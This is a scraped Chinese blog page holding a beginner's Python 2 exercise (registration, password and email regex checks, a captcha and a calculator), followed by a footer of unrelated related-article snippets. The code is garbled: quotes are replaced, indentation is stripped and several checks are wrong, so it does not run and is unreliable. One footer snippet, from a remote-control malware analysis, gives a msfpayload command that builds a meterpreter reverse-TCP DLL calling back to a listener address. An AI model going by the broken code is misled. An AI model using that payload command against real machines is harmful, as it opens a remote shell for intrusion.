py练习x12

# -*- coding: cp936 -*-

#list1=[‘a‘]#如果以a到e开头输入,则提示用户此用户名存在,请更换用户名

#if yxsrfws2 in list1:

#   print ‘此用户名未存在,可以使用‘#list1.append(yxsrfws1)

#else:

#   print ‘此用户名已存在,请更换用户‘

#yy2=re.findall(r‘^[a]‘,yxsrfws1)

#if re.findall(r‘^[a]‘,yxsrfws1)not in list1:

#list2=re.findall(r‘[a]‘, ‘abcde‘)

#if re.findall(r‘(list1[a]{.*?}list1)‘, yxsrfws1)in list1:

#if re.findall(r‘list1‘,‘yxsrfws1‘)in list1:

#  print ‘此用户名未存在,可以使用‘

#  list1.append(yxsrfws1)

#else:

#   print ‘此用户名已存在,请更换用户‘

#if re.findall(r‘[0-9]‘,yxsrfws1):

#    print‘如果出现字母不是开头,则不用提示数字‘

"""

list1=[‘a‘,‘b‘,‘c‘,‘d‘,‘e‘]#如果以a到b开头输入,则提示用户此用户名存在,请更换用户名

#yy2=re.findall(r‘^[a-b]‘,yxsrfws1)

#if re.findall(r‘^[a-b]‘,yxsrfws1)not in list1:

if re.match(r‘^[a-e]‘,yxsrfws1)in list1:

print ‘此用户名未存在,可以使用‘

else:

print‘此用户名已存在,请更换用户‘

list2=re.findall(r‘[a]‘, ‘abcde‘)

if len(list(set(list1) & set(list2))) ==0:

print ‘此用户名未存在,可以使用‘

list1.append(list2)

else:

print ‘此用户名已存在,请更换用户‘

#yy2=re.findall(r‘^[a-b]‘,yxsrfws1)

#if re.findall(r‘^[a-b]‘,yxsrfws1)not in list1:

#if re.match(r‘^[a-e]‘,yxsrfws1)in list1:

#   print ‘此用户名未存在,可以使用‘

#else:

#   print‘此用户名已存在,请更换用户‘

#list2=re.compile(‘\w+‘,re.I)

#list3=list2.findall(‘abcdffsd47892‘,)

#if list3==list1:

#t=str(tuple(list1))

js={‘jia‘:‘+‘,

‘jian‘:‘-‘,

‘cheng‘:‘*‘,

‘chu‘:‘/‘,

‘yu‘:‘%‘}#暂时先这个

"""

#match2=re.compile(r‘a[bcde]*‘)

#match3=match2.match(yxsrfws1)

#if match3==temp:

#   print‘此用户名已存在,请更换用户‘

#elif match3!=temp:

#  print‘此用户名未存在,可以使用‘

# print temp.append(yxsrfws1)

# yxsrfws1[0:1] in list1 or yxsrfws1[1:2] in list1 or yxsrfws1[2:3] in list1 or yxsrfws1[3:4] in list1 or yxsrfws1 in list1[4:5]

#if yxsrfws1 not in yy2:

#print‘此用户名未存在,可以使用‘

#print list1.append(yxsrfws1)

#else:

#  print‘此用户名已存在,请更换用户‘

#yy2=re.compile(r‘list1([a-e])*list1‘)

#yy3=yy2.match(yxsrfws1)

#if yy3 in list1[0:]:

#   print yy3.group()

#   print ‘此用户名未存在,可以使用‘

#else:

#   print‘此用户名已存在,请更换用户‘

#nvren:女人,年龄:23,性别:man(男),moude(女),形式:运行,用法:正则,状态:良好

import re,random,string

while 1:

#如果没有存在,则增加到这个列表中

print ‘选择序列为:‘,‘a:注册,b:密码,c:验证码,d:邮箱地址,f:计算器,g:退出‘,‘(本人属于菜鸟中的菜鸟,见谅!),暂时这几个功能,有不足地方见谅‘

num=raw_input(‘请输入序号为:‘)

if num==‘a‘:

while 1:

print‘由字母,数字,下划线组成‘

yxsrfws1=raw_input(‘请输入你想要的帐号为:‘)

yxsrfws2=re.compile(r‘[a-zA-Z0-9_-]{5,15}$‘)

yy=yxsrfws2

match1=yxsrfws2.match(yxsrfws1)

if match1:

print ‘用户名为:‘,match1.group()

else:

if match1!=yy:

print ‘小于5位或者大于16位‘,

if re.findall(r‘^[0-9A-Z]‘,yxsrfws1):

print ‘必须以小写字母开头‘,

print ‘不区分大小写‘

list1=[‘a‘]#如果以a到b开头输入,则提示用户此用户名存在,请更换用户名

#if  yxsrfws1.startswith(t):

#if yxsrfws1[:1]in list1:

if yxsrfws1[:1].lower() in list1:

print ‘此用户名未存在,可以使用‘

list1.append(yxsrfws1[:1]in list1)

break

else:

print ‘此用户名已存在,请更换用户‘

continue

if num==‘b‘:

while 1:

print ‘长度为6-16位‘,‘不能包含空格‘,‘不能全是纯数字‘

password1=raw_input(‘输入密码为:‘)

pass1=re.compile(r‘(?=.*\d)(?=.*[a-z])(?=.*[A-Z])(?=.*[@#$%]).{6,16}‘)

pass2=pass1.match(password1)

if pass2:

print‘输入:‘,pass2.group(),‘正确‘

print ‘必须以字母开头‘,‘区分大小写‘

password2=raw_input(‘输入密码为:‘)

pass3=re.compile(r‘(?=.*\d)(?=.*[a-z])(?=.*[A-Z])(?=.*[@#$%]).{6,16}‘)

pass4=pass3.match(password2)

if password1!=password2:

print‘两次密码不相同‘

continue

else:

print‘两次密码相同‘

break

if num==‘c‘:

#这部分高手帮我修改,我菜鸟

def numx():

while 1:

#t=re.compile(r‘[a-z0-9A-Z]‘)

n=‘‘.join(random.sample(string.letters+string.digits,4)).strip(‘/n‘).replace(‘,‘,‘,‘)

print n

xp=re.compile(‘\w+‘, re.I)

rxp=xp.findall(n)[0].upper()

#t1=t.match(n)

#print n.strip(‘-‘)

#n.split("[‘,‘]")

num1=raw_input(‘请输入和上面对应验证:‘)

#print ‘%s‘ % ( num1.upper())#, rxp ),%s这条也可以存在,只不过我把它忽略掉了

#if num1.upper() in rxp or num1.lower()in rxp:

if num1.upper() == rxp:

print ‘验证码正确‘

print‘不区分大小写‘

break

else:

print‘验证码不正确‘

print‘不区分大小写‘

continue

numx()

if num==‘d‘:

while 1:

print‘邮箱地址格式为:用户名@.服务器名.com二级域名‘

myemail=raw_input(‘请输入你喜欢的邮箱:‘)

myyx=re.compile(r‘\w+([+-.])*[@#]\w+\.\w+([-.]\]w+)*‘)

match11=myyx.match(myemail)

yy=match11

ejym=[‘A:@163.com(网易)‘,‘B:@qq.com(腾讯)‘,‘C:@sina.com or @sina.com.cn(新浪)‘,‘D:@sohu.com(搜狐)‘]#暂时只能想到这几个

print ejym

lb=[]

if myemail[myemail.find(‘@‘):]in ejym[0]:

print ‘你输入的是:‘,myemail,‘@163.com(网易邮箱)‘

elif myemail[myemail.find(‘@‘):]in ejym[1]:

print ‘你输入的是:‘,myemail,‘@qq.com(腾讯邮箱)‘

elif myemail[myemail.find(‘@‘):]in ejym[2]:

print ‘你输入的是:‘,myemail,‘@sina.com.cn or @sina.com(新浪邮箱)‘

elif myemail[myemail.find(‘@‘):]in ejym[3]:

print ‘你输入的是:‘,myemail,‘@sohu.com(搜狐邮箱)‘

else:

lb.append(myemail)

print‘暂无这个邮箱,请添加:‘,myemail,‘这个邮箱的服务器名为:‘,myemail

continue

if yy:

print ‘用户名为:‘,yy.group(),‘邮箱合法!‘

break

else:

if match11!=yy:

print‘邮箱不合法!‘

print ‘小于5位或者大于16位‘,

print ‘必须以字母开头‘,‘不区分大小写‘

if re.findall(r‘^[0-9A-Z]‘,myemail):

print ‘必须字母开头‘,

print ‘不区分大小写‘

continue

if num==‘f‘:

while 1:

try:

#print‘计算器,你懂得!‘,‘第‘,t,‘次‘

#print ‘+,-,*,/,^,%,()‘

x=input(‘请输入第一个数为:‘)

y=input(‘请输入第二个数为:‘)

fn=raw_input(‘请输入你需要的符号为:‘)

x=float(x)

y=float(y)

if fn==‘+‘:

print x+y

break

elif fn==‘-‘:

print x-y

break

elif fn==‘*‘:

print x*y

break

elif fn==‘/‘:

print x/y

break

elif fn==‘%‘:

print x%y

break

elif fn==‘**‘:

print x**y

break

except ZeroDivisionError:

print‘不能除了0‘

if num==‘g‘:

print‘欢迎再来,88,本人邮箱为:[email protected]‘

break

#t1=t.match(n)

#print n.strip(‘-‘)

#n.split("[‘,‘]")

#t=re.compile(r‘[a-z0-9A-Z]‘)

"""

except NameError:

if x!=x:

print‘未定义x:‘,x

elif y!=y:

print‘未定义y:‘,y

except ValueError:

if x!=str(x):

print‘没有这个浮点字符串x:‘,x

elif y!=str(y):

print‘没有这个浮点字符串y:‘,y

else:

if x!=str(x):

print ‘x错误‘

elif y!=str(y):

print ‘y错误‘

"""

时间: 2024-10-17 19:04:36

py练习x12的相关文章

python+msf make windows远控

分析的一个远控,感谢wstone的指导~ 创建dll ./msfpayload windows/meterpreter/reverse_tcp lhost=192.168.1.123 lport=4444 -t dll X > /tmp/sc.dll python main.py import sys, os import shutil import time import ctypes import glob import multiprocessing import multiprocess

使用TDD理解views.py与urls.py的关系

首先必须对MVC的概念有初步的认识,django也遵循这样一套规范,views.py相当于视图函数,是整个架构中的处理引擎,而urls.py的作用就是将用户请求送入这样的引擎. 项目结构: urls.py: from django.conf.urls import include, url from django.contrib import admin urlpatterns = [ # Examples: #url(r'^$', 'mysite.views.home', name='home

layers.py cs231n

如果有错误,欢迎指出,不胜感激. import numpy as np def affine_forward(x, w, b): 第一个最简单的 affine_forward简单的前向传递,返回 out,cache """ Computes the forward pass for an affine (fully-connected) layer. The input x has shape (N, d_1, ..., d_k) and contains a minibat

Python pydoc.py

1. 查看帮助,我们可以在python命令行交互环境下用 help函数,比如: 查看 math 模块: >>> help('math')Help on built-in module math: NAME math DESCRIPTION This module is always available. It provides access to the mathematical functions defined by the C standard. FUNCTIONS acos(..

创建py模板

创建模板之后,每次新建py文件,已初始定义的代码段将会自动出现在py文件中.

python下编译py成pyc和pyo

其实很简单,用python -m py_compile file.py python -m py_compile /root/src/{file1,file2}.py编译成pyc文件.也可以写份脚本来做这事:Code: import py_compile py_compile.compile('path') //path是包括.py文件名的路径 用python -O -m py_compile file.py 编译成pyo文件.1.其中的 -m 相当于脚本中的import,这里的-m py_co

django 运行python manage.py sqlall books 时报错 app has migration

出现这个问题的原因是版本之前的不兼容,我用的django版本是1.8.6 而 这条python manage.py sqlall books 是基于django1.0版本的. 在django1.8.6版本中生成一个表的语句是    $ python manage.py makemigrations books $ python manage.py sqlmigrate books 0001 django book2 是一本不错的教程,但是就是版本太老了,可以通过看book2对django有一个比

word2vec_basic.py

ssh://[email protected]:22/usr/bin/python3 -u /home/win_pymine_clean/feature_wifi/word2vec_basic.py Found and verified text8.zip Data size 17005207 Most common words (+UNK) [['UNK', 418391], ('the', 1061396), ('of', 593677), ('and', 416629), ('one',

如何在Windows下用cpu模式跑通py-faster-rcnn 的demo.py

关键字:Windows.cpu模式.Python.faster-rcnn.demo.py 声明:本篇blog暂时未经二次实践验证,主要以本人第一次配置过程的经验写成.计划在7月底回家去电脑城借台机子试试验证步骤的正确性,本blog将根据实际遇到的问题持续更新.另外blog中除提到的下载链接外我还会给出网盘链接方便下载,包括我的整个工程的网盘链接.如果有些报错解决不了可直接拿本人的相关文件替换,本篇blog具有较高的参考性. 本人微软版caffe工程     下载链接:http://pan.bai